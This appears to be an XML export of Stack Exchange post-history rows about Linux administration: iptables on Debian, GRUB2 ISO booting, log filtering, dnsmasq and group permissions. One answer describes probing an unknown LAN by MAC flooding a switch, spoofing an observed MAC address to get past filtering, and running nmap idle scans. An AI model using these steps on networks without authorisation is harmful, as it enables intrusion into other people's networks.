  <row Id="19093" PostHistoryTypeId="2" PostId="8122" RevisionGUID="1949723d-c82c-4140-9455-e614b1ade5aa" CreationDate="2011-02-25T13:02:50.823" UserId="2459" Text="I've just started playing with Debian 6.0 (Squeeze) in a VPS environment, as a way to learn more about system administration.&#xD;&#xA;&#xD;&#xA;One thing I'd like to configure is a default packet filtering policy. (Permit new and established SSH inbound, permit rate limited ICMP inbound, drop everything else inbound, permit anything outbound, etc etc)&#xD;&#xA;&#xD;&#xA;I've determined how to build a policy which roughly meets my needs, however there doesn't seem to be an existing init script which specifies where iptables should load its policy from on startup. Is there a standard way to do this on Debian? &#xD;&#xA;&#xD;&#xA;I've seen various alternatives suggested, all of which seem to involve creating a shell script somewhere somewhere and invoking it in RC scripts, initscripts, /etc/network/interfaces...&#xD;&#xA;&#xD;&#xA;Is there no 'blessed' way to do this in Debian? It seems like a fairly glaring oversight." />
  <row Id="19094" PostHistoryTypeId="1" PostId="8122" RevisionGUID="1949723d-c82c-4140-9455-e614b1ade5aa" CreationDate="2011-02-25T13:02:50.823" UserId="2459" Text="Is there a standard way to configure what policy iptables loads on startup under Debian?" />
  <row Id="19095" PostHistoryTypeId="3" PostId="8122" RevisionGUID="1949723d-c82c-4140-9455-e614b1ade5aa" CreationDate="2011-02-25T13:02:50.823" UserId="2459" Text="édebianàésecurityàéiptablesà" />
  <row Id="19097" PostHistoryTypeId="2" PostId="8123" RevisionGUID="85c9a122-3d31-4237-9a5c-1f6a209ee31d" CreationDate="2011-02-25T13:12:57.723" UserId="4477" Text="How much do you know about the LAN in question? I'm assuming you don't know anything just plugged in the cable or connected to wifi.&#xD;&#xA;&#xD;&#xA;1. Try requesting an IP address with DHCP. Do you get one? Then you already know a few things: the gateway IP, the DHCP server IP, the subnet mask and maybe DNS servers.&#xD;&#xA;1. If you don't get one there is either no DHCP server or the network is MAC filtered.&#xD;&#xA;1. Either way start capturing packets with [wireshark][1]. If you are on wireless or connected to a hub it's easy. If you are connected to a switch you can try [MAC flooding][2] to switch it back to &quot;hub mode&quot; but a smarter switch will just disable your port. If you want to try it anyway [ettercap][3] can do this for you. (Or macchanger and a shell script :) )&#xD;&#xA;1. Looking at the packets you can find IP addresses but most importantly you can guess the network parameters. If you suspect MAC filtering change you MAC address to one of the observed ones after it leaves (sends nothing for a while).&#xD;&#xA;1. When you have a good idea about the network configuration (netmask, gateway, etc) use nmap to scan. Nmap can do a lot more than -sP in case some hosts don't respond to ping check out [the documentation][4]. It's important that nmap only works if your network settings and routes are correct.&#xD;&#xA;1. You can possibly find even more hosts with nmap's idle scan.&#xD;&#xA;&#xD;&#xA;Some (most?) system administrators don't like a few of the above methods so make sure it is allowed (for example it's your network). Also note that your own firewall can prevent some of these methods (even getting an IP with DHCP) so check your rules first.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wireshark.org/&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Mac_flooding&#xD;&#xA;  [3]: http://ettercap.sourceforge.net/&#xD;&#xA;  [4]: http://nmap.org/book/man-port-scanning-techniques.html" />
  <row Id="19098" PostHistoryTypeId="2" PostId="8124" RevisionGUID="164d885f-3108-45ff-969b-717a82c1e144" CreationDate="2011-02-25T13:16:10.697" UserId="29" Text="I like the `ip neigh` command, that comes with IpRoute2.&#xD;&#xA;&#xD;&#xA;    ip neigh&#xD;&#xA;    192.168.1.1 dev eth0 lladdr 00:1d:7e:f8:21:66 REACHABLE&#xD;&#xA;&#xD;&#xA;However, I think it only works with `arp`-able nodes." />
  <row Id="19099" PostHistoryTypeId="2" PostId="8125" RevisionGUID="9a399006-0fa9-4af6-9c1b-6d4cf902470e" CreationDate="2011-02-25T13:33:13.673" UserId="3519" Text="Something like&#xD;&#xA;&#xD;&#xA;    cat logfile | sed '1,/last date prior to chunk/d;/first date after chunk/,$d' | tee cut-log | less&#xD;&#xA;&#xD;&#xA;`tee cut-log` allows you to see on screen what is being put in file `cut-log`." />
  <row Id="19100" PostHistoryTypeId="2" PostId="8126" RevisionGUID="0c8ef889-3f92-41cb-b1a5-9c1a41a04e5a" CreationDate="2011-02-25T13:35:39.737" UserId="2701" Text="Various services may also depend on being able to resolve the hostname locally, which is often handled by an entry in the /etc/hosts file." />
  <row Id="19101" PostHistoryTypeId="2" PostId="8127" RevisionGUID="d7692b69-6cae-47f9-bb26-07a167300367" CreationDate="2011-02-25T13:50:30.983" UserId="305" Text="Sometimes when I try to burn image the message that /dev/sr0 cannot be open exclusively appears. `lsof` does not shows any program that opens /dev/sr0 (I checked for aliases too)." />
  <row Id="19102" PostHistoryTypeId="1" PostId="8127" RevisionGUID="d7692b69-6cae-47f9-bb26-07a167300367" CreationDate="2011-02-25T13:50:30.983" UserId="305" Text="How to check why the cdrom cannot be open exclusivly" />
  <row Id="19103" PostHistoryTypeId="3" PostId="8127" RevisionGUID="d7692b69-6cae-47f9-bb26-07a167300367" CreationDate="2011-02-25T13:50:30.983" UserId="305" Text="élinuxàéhardwareàécdàéburningà" />
  <row Id="19104" PostHistoryTypeId="2" PostId="8128" RevisionGUID="70826651-0604-47e0-a48b-b159d97bab47" CreationDate="2011-02-25T13:53:32.743" UserId="5115" Text="The hostname is stored in three different files:&#xD;&#xA;&#xD;&#xA;* `/etc/hostname` Used as the hostname&#xD;&#xA;* `/etc/hosts` Helps resolving the hostname to an IP address&#xD;&#xA;* `/etc/mailname` Determines the hostname the mail server identifies itself&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You might want to have a deeper look with `grep -ir hostname /etc`&#xD;&#xA;&#xD;&#xA;Restarting affected services might be a good idea as well." />
  <row Id="19105" PostHistoryTypeId="2" PostId="8129" RevisionGUID="ed97de3d-ddb4-4903-8d60-ca1f3e85352a" CreationDate="2011-02-25T14:00:41.867" UserId="872" Text="To print everything between FOO and BAR inclusive, try:&#xD;&#xA;&#xD;&#xA;    $ sed -n '/FOO/,/BAR/p' file.txt&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19106" PostHistoryTypeId="2" PostId="8130" RevisionGUID="d80b9a3f-528a-46ad-a11c-bc48055db162" CreationDate="2011-02-25T14:04:12.353" UserId="250" Comment="deleted 6 characters in body" Text="This is from a young Linux fanboy who came across Area 51 during the break between his classes. It was me, and the first thing I did was to enter &quot;linux&quot; in the search box. To my surprise there were a lot of people already committing to it (I was under the impression that there was no healthy community for *nix geeks).&#xD;&#xA;&#xD;&#xA;So I committed, just before the private beta began. I have been with the site since then (and became one of the first to get a Fanatic badge). I make sure to read all questions and do everything proper with them. Besides voting and answering, I often leave comments on how a post can be improved, encourage people to vote...&#xD;&#xA;&#xD;&#xA;I see becoming a moderator as a chance to contribute more to the community that I learn from. The day the nomination started, I was tempted, but felt undeserved. However, after spending a few days thinking I am writing this to nominate myself. At this point I see myself as a user who understands the site well enough to help other newer users. I want to take my turn and share the hard work of moderators." />
  <row Id="19107" PostHistoryTypeId="2" PostId="8131" RevisionGUID="c3df71f8-c77b-4e40-895e-96e1ef3a2c58" CreationDate="2011-02-25T14:06:24.527" UserId="4391" Text="edited the 40_custom file in /etc/grub.d&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    echo &quot;Adding 40_custom.&quot;&gt;&amp;2&#xD;&#xA;    exec tail -n +3 $0&#xD;&#xA;    # This file provides an easy way to add custom menu entries. Simply type the&#xD;&#xA;    # menu entries you want to add after this comment. Be careful not to change&#xD;&#xA;    # the 'exec tail' line above.&#xD;&#xA;    &#xD;&#xA;    menuentry &quot;Lucid ISO&quot; {&#xD;&#xA;    loopback loop (hd0,8)/boot/iso/Fedora-14-i386-DVD.iso&#xD;&#xA;    linux (loop)/boot/vmlinuz boot=boot iso-scan/filename=/boot/iso/Fedora-14-i386-DVD.iso noprompt noeject&#xD;&#xA;    initrd (loop)/boot/initrd.img&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;then &#xD;&#xA;sudo update-grub2&#xD;&#xA;&#xD;&#xA;after rebooting &#xD;&#xA;i choosed Lucid ISO&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Pc restart&#xD;&#xA;&#xD;&#xA;i am using Linux mint 10 and its on sda8.&#xD;&#xA;&#xD;&#xA;used the link &#xD;&#xA;http://ubuntuforums.org/showthread.php?t=1549847&#xD;&#xA;for the help&#xD;&#xA;&#xD;&#xA;do i need to change the file permissions of boot and casper folder &#xD;&#xA;or there is some other problem ?&#xD;&#xA;" />
  <row Id="19108" PostHistoryTypeId="1" PostId="8131" RevisionGUID="c3df71f8-c77b-4e40-895e-96e1ef3a2c58" CreationDate="2011-02-25T14:06:24.527" UserId="4391" Text="Iso booting with grub2" />
  <row Id="19109" PostHistoryTypeId="3" PostId="8131" RevisionGUID="c3df71f8-c77b-4e40-895e-96e1ef3a2c58" CreationDate="2011-02-25T14:06:24.527" UserId="4391" Text="élinuxà" />
  <row Id="19110" PostHistoryTypeId="2" PostId="8132" RevisionGUID="bd86f382-3ba8-4d07-a733-e4420bfbf376" CreationDate="2011-02-25T14:07:10.400" UserId="4669" Text="    &#xD;&#xA;    fuser -a /media/cdrom&#xD;&#xA;&#xD;&#xA;Usually that tells you which process is accessing or locking the resource." />
  <row Id="19111" PostHistoryTypeId="5" PostId="1041" RevisionGUID="6fdb19a2-7612-44fd-b89c-48a6eb1387dd" CreationDate="2011-02-25T14:18:22.883" UserId="250" Comment="change formatting of menuentry" Text="You got me curious how this would be done. [The Pendrivelinux site had a tutorial][1] I did this from my Mint 9 install instead of a live cd as the site suggests.&#xD;&#xA;&#xD;&#xA; I started with finding the location of my USB drive&#xD;&#xA;in a terminal I ran `df` it returned the location of the device as&#xD;&#xA;&#xD;&#xA;    /dev/sdg1   /media/LINUXUSB&#xD;&#xA;&#xD;&#xA;after that I ran &#xD;&#xA;&#xD;&#xA;    sudo su&#xD;&#xA;&#xD;&#xA;and then to install grub 2&#xD;&#xA;&#xD;&#xA;    grub-install --no-floppy --force --root-directory=/media/LINUXUSB /dev/sdg1&#xD;&#xA;&#xD;&#xA;I had to use --force additionally, the example on the site did not. Then I did &#xD;&#xA;&#xD;&#xA;    cd /media/LINUXUSB/boot/grub&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; The site gave a link to download a copy of grub.cfg to the /boot/grub directory on my USB drive.  The link was&#xD;&#xA;&#xD;&#xA;    wget http://pendrivelinux.com/downloads/grub.cfg&#xD;&#xA;&#xD;&#xA;After that I edited grub.cfg to reflect the iso's on my USB drive.&#xD;&#xA;&#xD;&#xA;    set timeout=10 set default=0&#xD;&#xA;    &#xD;&#xA;    menuentry &quot;Run Fedora&quot; {&#xD;&#xA;        loopback loop /Fedora13.iso&#xD;&#xA;        linux (loop)/isolinux/vmlinuz0 boot=isolinux iso-scan/filename=/Fedora13.iso splash --&#xD;&#xA;        initrd (loop)/isolinux/initrd0.img&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    menuentry &quot;Run Ubuntu&quot; {&#xD;&#xA;        loopback loop /ubuntu-10.04-netbook-i386.iso &#xD;&#xA;        linux (loop)/casper/vmlinuz boot=casper iso-scan/filename=/ubuntu-10.04-netbook-i386.iso splash --&#xD;&#xA;        initrd (loop)/casper/initrd.lz&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    menuentry &quot;Run Clonezilla&quot; {&#xD;&#xA;        loopback loop /clonezilla.iso&#xD;&#xA;        linux (loop)/live/vmlinuz boot=live iso-scan/filename=/clonezilla.iso splash --&#xD;&#xA;        initrd (loop)/live/initrd.img }&#xD;&#xA;&#xD;&#xA;I found that in the different iso's, vmlinuz and initrd were located in a different directory. I was able to get all three to start the boot process; but, only Ubuntu to actually load. If I figure out what I need to get the other two to finish loading, I will add that later. I have not tried any other iso's just these three. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pendrivelinux.com/install-grub2-on-usb-from-ubuntu-linux/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19112" PostHistoryTypeId="25" PostId="8122" RevisionGUID="f4279b7b-0327-49f7-a8cb-949ace753d8f" CreationDate="2011-02-25T14:23:24.797" Comment="http://twitter.com/#!/StackUnix/status/41141216041123840" />
  <row Id="19113" PostHistoryTypeId="2" PostId="8133" RevisionGUID="d367e580-0463-424e-8f15-2c5477d9bf2b" CreationDate="2011-02-25T14:36:59.307" UserId="-1" Text="" />
  <row Id="19114" PostHistoryTypeId="2" PostId="8134" RevisionGUID="fbe9e387-454b-4fae-9b9c-cb986d30061b" CreationDate="2011-02-25T14:36:59.307" UserId="-1" Text="" />
  <row Id="19115" PostHistoryTypeId="2" PostId="8135" RevisionGUID="00396bcf-dbbb-44fe-a6a4-caec44efcbfd" CreationDate="2011-02-25T14:37:25.450" UserId="250" Text="You have to make sure that the lines point to correct file locations. For example, I have a Fedora ISO with me, but I cannot find the file `/boot/vmlinuz` or `/boot/initrd.img` in it. At the very least you should have:&#xD;&#xA;&#xD;&#xA;    menuentry &quot;Fedora ISO&quot; {&#xD;&#xA;        loopback loop (hd0,8)/path/to/Fedora-14-i386-DVD.iso&#xD;&#xA;        linux (loop)/isolinux/vmlinuz0 boot=isolinux iso-scan/filename=/Fedora13.iso splash --&#xD;&#xA;        initrd (loop)/isolinux/initrd0.img&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Maybe you misunderstood that, but `linux` and `initrd` above point to the entries inside the ISO, not on your hard drive." />
  <row Id="19116" PostHistoryTypeId="6" PostId="8131" RevisionGUID="3a3290bc-eaaf-4aab-875f-38fbb0762a9f" CreationDate="2011-02-25T14:39:17.880" UserId="250" Comment="edited tags" Text="élinuxàébootàégrub2àéisoà" />
  <row Id="19120" PostHistoryTypeId="2" PostId="8137" RevisionGUID="3bf74b5e-326b-47bc-8fa5-f8ca71cb258b" CreationDate="2011-02-25T14:52:39.517" UserId="5118" Text="I have the following setup: &#xD;&#xA;&#xD;&#xA;* Witopia SSL account&#xD;&#xA;* Synology 409 NAS (with OpenVPN and Apache etc)&#xD;&#xA;* PS3&#xD;&#xA;* Mac &#xD;&#xA;* Apple AirPort router (configured for NAT)&#xD;&#xA;* Locked IPT-box (using DHCP and NAT traversing)&#xD;&#xA;&#xD;&#xA;-&#xD;&#xA;&#xD;&#xA;    Internet&#xD;&#xA;    |&#xD;&#xA;    Router (192.168.0.1)&#xD;&#xA;    |&#xD;&#xA;    |--NAS&#xD;&#xA;    |--Mac&#xD;&#xA;    |--PS3&#xD;&#xA;    |--IPT-box&#xD;&#xA;&#xD;&#xA;Requirements:&#xD;&#xA;&#xD;&#xA;1. The NAS should handle the VPN connection with Witopia. &#xD;&#xA;2. All connections originating outside the Router and who are routed to the NAS or Mac should reach its target. Nothing originating from outside should enter the VPN tunnel.&#xD;&#xA;3. All connections that originates behind the router and are &quot;aimed specificly&quot; at the NAS should reach it and not be hijacked by the VPN tuinnel.(NFS, SBM, HTTP etc)&#xD;&#xA;4. Connections that originates from applications on the NAS and terminates anywhere outside the router should go through the VPN tunnel.&#xD;&#xA;5. All connections from PS3 that terminates outside router should go through the tunnel. Connections from PS3 to NAS (SMB, NFS, DLNA etc) should not go through the tunnel, but be served by the NAS.&#xD;&#xA;6. All connections to and from the IPT-box should go direct via the router, not the tunel.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Is this possible with the hardware that I already have? How and where should I configure it?&#xD;&#xA;&#xD;&#xA;/BE" />
  <row Id="19121" PostHistoryTypeId="1" PostId="8137" RevisionGUID="3bf74b5e-326b-47bc-8fa5-f8ca71cb258b" CreationDate="2011-02-25T14:52:39.517" UserId="5118" Text="How do I configure OpenVPN as a Gateway client for Witopia?" />
  <row Id="19122" PostHistoryTypeId="3" PostId="8137" RevisionGUID="3bf74b5e-326b-47bc-8fa5-f8ca71cb258b" CreationDate="2011-02-25T14:52:39.517" UserId="5118" Text="élinuxàéroutingàévpnàétunnelsà" />
  <row Id="19123" PostHistoryTypeId="5" PostId="8131" RevisionGUID="10c4fbf4-e025-4cf8-815c-7b7d0b724d46" CreationDate="2011-02-25T14:52:49.863" UserId="4391" Comment="deleted 33 characters in body" Text="edited the 40_custom file in /etc/grub.d&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    echo &quot;Adding 40_custom.&quot;&gt;&amp;2&#xD;&#xA;    exec tail -n +3 $0&#xD;&#xA;    # This file provides an easy way to add custom menu entries. Simply type the&#xD;&#xA;    # menu entries you want to add after this comment. Be careful not to change&#xD;&#xA;    # the 'exec tail' line above.&#xD;&#xA;    &#xD;&#xA;   menuentry &quot;fedora ISO&quot; {&#xD;&#xA;loopback loop (hd0,8)/boot/iso/Fedora-14-i386-DVD.iso&#xD;&#xA;linux  (loop)/isolinux/vmlinuz boot=isolinux iso-scan/filename=/boot/iso/Fedora$&#xD;&#xA;initrd (loop)/isolinux/initrd.img&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;then &#xD;&#xA;sudo update-grub2&#xD;&#xA;&#xD;&#xA;after rebooting &#xD;&#xA;i choosed Lucid ISO&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Pc restart&#xD;&#xA;&#xD;&#xA;i am using Linux mint 10 and its on sda8.&#xD;&#xA;&#xD;&#xA;used the link &#xD;&#xA;http://ubuntuforums.org/showthread.php?t=1549847&#xD;&#xA;for the help&#xD;&#xA;&#xD;&#xA;do i need to change the file permissions of boot and casper folder &#xD;&#xA;or there is some other problem ?&#xD;&#xA;" />
  <row Id="19124" PostHistoryTypeId="2" PostId="8138" RevisionGUID="d1796b23-1edb-4cb0-9207-76101e1d25b5" CreationDate="2011-02-25T14:56:15.457" UserId="2163" Text="I have some users in a group called `aa` and I need to give them the rights to write to a folder which is currently `tomcat:tomcatdeploy`.&#xD;&#xA;&#xD;&#xA;The straightforward way to do this is to add all the users to the `tomcatdeploy` group, one-by-one.&#xD;&#xA;&#xD;&#xA;Is it possible to say that members of group `aa` are also automatically members of `tomcatdeploy` by somehow adding the `aa` group to the `tomcatdeploy` group?&#xD;&#xA;&#xD;&#xA;Or is that trying to push the UNIX permissions scheme too far?" />
  <row Id="19125" PostHistoryTypeId="1" PostId="8138" RevisionGUID="d1796b23-1edb-4cb0-9207-76101e1d25b5" CreationDate="2011-02-25T14:56:15.457" UserId="2163" Text="Add all users in one group to another group?" />
  <row Id="19126" PostHistoryTypeId="3" PostId="8138" RevisionGUID="d1796b23-1edb-4cb0-9207-76101e1d25b5" CreationDate="2011-02-25T14:56:15.457" UserId="2163" Text="épermissionsàéunixà" />
  <row Id="19127" PostHistoryTypeId="2" PostId="8139" RevisionGUID="2b307525-2893-4bc2-982e-2eb363e15d7e" CreationDate="2011-02-25T15:00:40.793" UserId="5119" Text="I've been playing with `tc` on my local machine. `sudo tc qdisc add dev eth0 root netem delay 2000ms` adds a 2-second latency to all traffic going through `eth0`.&#xD;&#xA;&#xD;&#xA;What I want is to be able to limit this latency to certain websites. I've tried playing with filters on specific IP addresses (Google's, for instance) but nothing seems to work.&#xD;&#xA;&#xD;&#xA;Any ideas on how I can do this using `tc`? Is it the best tool for the job?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19128" PostHistoryTypeId="1" PostId="8139" RevisionGUID="2b307525-2893-4bc2-982e-2eb363e15d7e" CreationDate="2011-02-25T15:00:40.793" UserId="5119" Text="Add latency when accessing certain websites under linx" />
  <row Id="19129" PostHistoryTypeId="3" PostId="8139" RevisionGUID="2b307525-2893-4bc2-982e-2eb363e15d7e" CreationDate="2011-02-25T15:00:40.793" UserId="5119" Text="élinuxàékernelà" />
  <row Id="19130" PostHistoryTypeId="2" PostId="8140" RevisionGUID="1b0e8bf2-8e96-43fe-8c20-036b29edf2a2" CreationDate="2011-02-25T15:05:39.513" UserId="4201" Text="Try [tinycorelinux][1] - it's only 10 MB (event less for microcore - the console version).&#xD;&#xA;Beyond the small size, it's also very quick booting&#xD;&#xA;&#xD;&#xA;I had a similar situation. I tried slax, which is similar to siltaz mentioned here, but I found that it still contains many features I don't need, and that it still takes to much time to boot for an embedded device.&#xD;&#xA;tinycorelinux is very minimal, but when looking for a minimal system I prefer to start with almost nothing, and add just what I need.&#xD;&#xA;They have a package system that includes many packages, many of the are also minimized and stripped down.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tinycorelinux.com/" />
  <row Id="19131" PostHistoryTypeId="2" PostId="8141" RevisionGUID="34826657-7a04-411e-a535-1d42ea4806e2" CreationDate="2011-02-25T15:08:42.333" UserId="3635" Text="You could use the `lid` command to get a list of users in `aa`, and the loop over that list to add them to `tomcatdeploy`:&#xD;&#xA;&#xD;&#xA;    for u in $(lid -g -n aa); do usermod -a -G tomcatdeploy u; done&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19132" PostHistoryTypeId="4" PostId="8139" RevisionGUID="e5ded4e2-8970-4203-a23e-cce4e6c9ff15" CreationDate="2011-02-25T15:09:34.750" UserId="5119" Comment="edited title" Text="Add latency when accessing certain websites under linux" />
  <row Id="19133" PostHistoryTypeId="5" PostId="8134" RevisionGUID="7b690b35-cccb-4b70-a4ac-1488f0db76bc" CreationDate="2011-02-25T15:12:02.737" UserId="3635" Comment="added 131 characters in body" Text="Access control to resources such as files and directories. In Unix, permissions may be specified for an owner, group, or all users." />
  <row Id="19134" PostHistoryTypeId="24" PostId="8134" RevisionGUID="7b690b35-cccb-4b70-a4ac-1488f0db76bc" CreationDate="2011-02-25T15:12:02.737" Comment="Proposed by 3635 approved by 73 edit id of 126" />
  <row Id="19135" PostHistoryTypeId="2" PostId="8142" RevisionGUID="c8154c51-cb9c-42e2-85da-f88455e8910b" CreationDate="2011-02-25T15:22:37.640" UserId="4595" Text="There is no default standart way to setup a firewall in Debian, except maybe calling a script with a `pre` rule in the network configuration (`/etc/network/interfaces`) but there are many packages providing different ways to do it.&#xD;&#xA;&#xD;&#xA;For example the packages [uruk][2] and [iptables-persistent][3] provide very simple scripts to load and backup a very simple firewall.&#xD;&#xA;&#xD;&#xA;[2]: http://packages.debian.org/squeeze/uruk&#xD;&#xA;[3]: http://packages.debian.org/squeeze/iptables-persistent" />
  <row Id="19136" PostHistoryTypeId="2" PostId="8143" RevisionGUID="ae6f78eb-7cb5-4d8b-aeaf-e944c3d19b70" CreationDate="2011-02-25T15:28:55.010" UserId="-1" Text="" />
  <row Id="19137" PostHistoryTypeId="2" PostId="8144" RevisionGUID="cefd756e-27c4-4957-8855-de1ee4d28590" CreationDate="2011-02-25T15:28:55.010" UserId="-1" Text="" />
  <row Id="19138" PostHistoryTypeId="2" PostId="8145" RevisionGUID="e17bf746-be19-4857-ac5e-2d84589baac6" CreationDate="2011-02-25T15:29:00.423" UserId="3879" Text="If in your log file you have the dates in this format `YYYY-MM-DD`, then, to find all entries for say, 2011-02-10, you can do:&#xD;&#xA;&#xD;&#xA;    grep 2011-02-10 log_file&#xD;&#xA;&#xD;&#xA;Now, say, if you want to find the entries for 2011-02-10 and 2011-02-11, then, again use `grep` but with multiple patterns:&#xD;&#xA;&#xD;&#xA;    grep -E '2011-02-10|2011-02-11' log_file" />
  <row Id="19139" PostHistoryTypeId="2" PostId="8146" RevisionGUID="2974d060-131f-4c2d-ad3c-1cc0f6e5942c" CreationDate="2011-02-25T15:32:03.867" UserId="-1" Text="" />
  <row Id="19140" PostHistoryTypeId="2" PostId="8147" RevisionGUID="f942541e-c239-4d1b-b873-0eea95642a18" CreationDate="2011-02-25T15:32:03.867" UserId="-1" Text="" />
  <row Id="19141" PostHistoryTypeId="2" PostId="8148" RevisionGUID="7ef65f76-af33-450f-b9e8-260d1e917c95" CreationDate="2011-02-25T15:32:44.770" UserId="-1" Text="" />
  <row Id="19142" PostHistoryTypeId="2" PostId="8149" RevisionGUID="3187b14b-0fc1-42aa-8d6f-0c9641e0de7b" CreationDate="2011-02-25T15:32:44.770" UserId="-1" Text="" />
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  <row Id="19170" PostHistoryTypeId="24" PostId="8156" RevisionGUID="2c00d0dd-0b27-430e-8877-d98075b219ab" CreationDate="2011-02-25T16:22:20.763" Comment="Proposed by 3635 approved by 73 edit id of 131" />
  <row Id="19171" PostHistoryTypeId="2" PostId="8159" RevisionGUID="e7d8f0e3-157e-467a-80b8-94dc631deba6" CreationDate="2011-02-25T16:23:42.750" UserId="5122" Text="Background: &#xD;&#xA;I am trying to mount a usb disk as read only but my ubuntu install is mounting it&#xD;&#xA;rw when I plug the disk in.&#xD;&#xA;&#xD;&#xA;I can unmount the disk manually and remount it manually as read only with the umount and mount commands but thats no fun. Could someone give me a quick explanation on how exactly usb mounts are automatically done on a typical linux system (udev? historical background is nice too) and maybe how I can tweak this process into letting me read the disk ro?&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;Edit: I'm using gnome if that helps at all." />
  <row Id="19172" PostHistoryTypeId="1" PostId="8159" RevisionGUID="e7d8f0e3-157e-467a-80b8-94dc631deba6" CreationDate="2011-02-25T16:23:42.750" UserId="5122" Text="Mounting USB disks automatically (How it works)" />
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  <row Id="19174" PostHistoryTypeId="2" PostId="8160" RevisionGUID="7f119406-4634-4262-8b2a-70281bf5b903" CreationDate="2011-02-25T16:25:48.043" UserId="5123" Text="Hi all! How i can clear DNS cache in DD-WRT on my router. DD-WRT use daemon dnsmasq." />
  <row Id="19175" PostHistoryTypeId="1" PostId="8160" RevisionGUID="7f119406-4634-4262-8b2a-70281bf5b903" CreationDate="2011-02-25T16:25:48.043" UserId="5123" Text="clear DNS cache on DD-WRT" />
  <row Id="19176" PostHistoryTypeId="3" PostId="8160" RevisionGUID="7f119406-4634-4262-8b2a-70281bf5b903" CreationDate="2011-02-25T16:25:48.043" UserId="5123" Text="édnsàéddöwrtà" />
  <row Id="19177" PostHistoryTypeId="2" PostId="8161" RevisionGUID="5ee36b35-9d12-455d-8142-234ea240787d" CreationDate="2011-02-25T16:27:40.240" UserId="4542" Text="There is [emdebian grip](http://www.emdebian.org/), which is binary compatible with Debian but removes all documentation and other files not strictly needed for functionality. You can mix and match packages with regular Debian, but it should give you a good base system even without doing that." />
  <row Id="19178" PostHistoryTypeId="2" PostId="8162" RevisionGUID="c21f9f07-951f-4641-a93f-fb153a6ac8a0" CreationDate="2011-02-25T16:28:39.087" UserId="3635" Text="According to [Flush dnsmasq dns cache][1]:&#xD;&#xA;&#xD;&#xA;dnsmasq is a lightweight DNS, TFTP and DHCP server. It is intended to provide coupled DNS and DHCP service to a LAN. Dnsmasq accepts DNS queries and either answers them from a small, local, cache or forwards them to a real, recursive, DNS server. This software is also installed many cheap routers to cache dns queries. Just restart to flush out dns cache:&#xD;&#xA;&#xD;&#xA;    $ sudo /etc/init.d/dnsmasq restart&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cyberciti.biz/faq/rhel-debian-ubuntu-flush-clear-dns-cache/" />
  <row Id="19179" PostHistoryTypeId="2" PostId="8163" RevisionGUID="cf3b3c03-d366-461d-b3c2-78260fd6f802" CreationDate="2011-02-25T16:29:24.233" UserId="-1" Text="" />
  <row Id="19180" PostHistoryTypeId="2" PostId="8164" RevisionGUID="47c4bc3c-e171-49ce-a643-96bb946c362c" CreationDate="2011-02-25T16:29:24.233" UserId="-1" Text="" />
  <row Id="19181" PostHistoryTypeId="5" PostId="8159" RevisionGUID="14d6c5f6-edfd-429b-a99a-9404efd7713d" CreationDate="2011-02-25T16:32:15.217" UserId="5122" Comment="added 233 characters in body; added 2 characters in body" Text="Background: &#xD;&#xA;I am trying to mount a usb disk as read only but my ubuntu install is mounting it&#xD;&#xA;rw when I plug the disk in.&#xD;&#xA;&#xD;&#xA;I can unmount the disk manually and remount it manually as read only with the umount and mount commands but thats no fun. Could someone give me a quick explanation on how exactly usb mounts are automatically done on a typical linux system (udev? historical background is nice too) and maybe how I can tweak this process into letting me read the disk ro?&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;Edit: I'm using gnome if that helps at all.  &#xD;&#xA;Edit2: In my haste I forgot to provide a bit more information. This is what the disk looks like from the output of 'mount'.   &#xD;&#xA;&#xD;&#xA;/dev/sdb1 on /media/LaCie type fuseblk (rw,nosuid,nodev,allow_other,default_permissions,blksize=4096)" />
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  <row Id="19198" PostHistoryTypeId="2" PostId="8180" RevisionGUID="0de81eb8-7db7-4134-8fc7-9d49e32f05bc" CreationDate="2011-02-25T16:39:43.933" UserId="-1" Text="" />
  <row Id="19199" PostHistoryTypeId="5" PostId="8034" RevisionGUID="42fd9498-5478-4103-b9eb-21ced732e76f" CreationDate="2011-02-25T16:52:02.087" UserId="2511" Comment="added 329 characters in body" Text="I'm pretty sure the person asking the question on server fault is wrong. They're either leaving out some detail intentionally or are unaware of some weird configuration on the machine (/bin/bash as a link to something else). I tried on the two-week-old bash 4.2 release, on bash 3.2 from CentOS 5, and on bash 2.05a (from 2001)  which I built myself just now to try.&#xD;&#xA;&#xD;&#xA;The oldest source on [ftp.gnu.org][1] is 1.14, but that doesn't build cleanly, and I'm not sure trying it is worthwhile. The documentation for that release contains the exact same key phrases as in the modern documentation: &#xD;&#xA;&#xD;&#xA;&gt;      The order of expansions is: brace  expansion,  tilde  expan-&#xD;&#xA;&gt;      sion, parameter, variable, command, and arithmetic substitu-&#xD;&#xA;&gt;      tion (done in a left-to-right fashion), word splitting,  and&#xD;&#xA;&gt;      pathname expansion.&#xD;&#xA;&#xD;&#xA;But actually, now that I think of it, that's pointless, since the &quot;{x..y}&quot; syntax was [added in bash 3.0][2], making looking before that useless.&#xD;&#xA;&#xD;&#xA;So, let me try 3.0 ... right. Same behavior.&#xD;&#xA;&#xD;&#xA;So yeah. I'm extremely skeptical. Something doesn't add 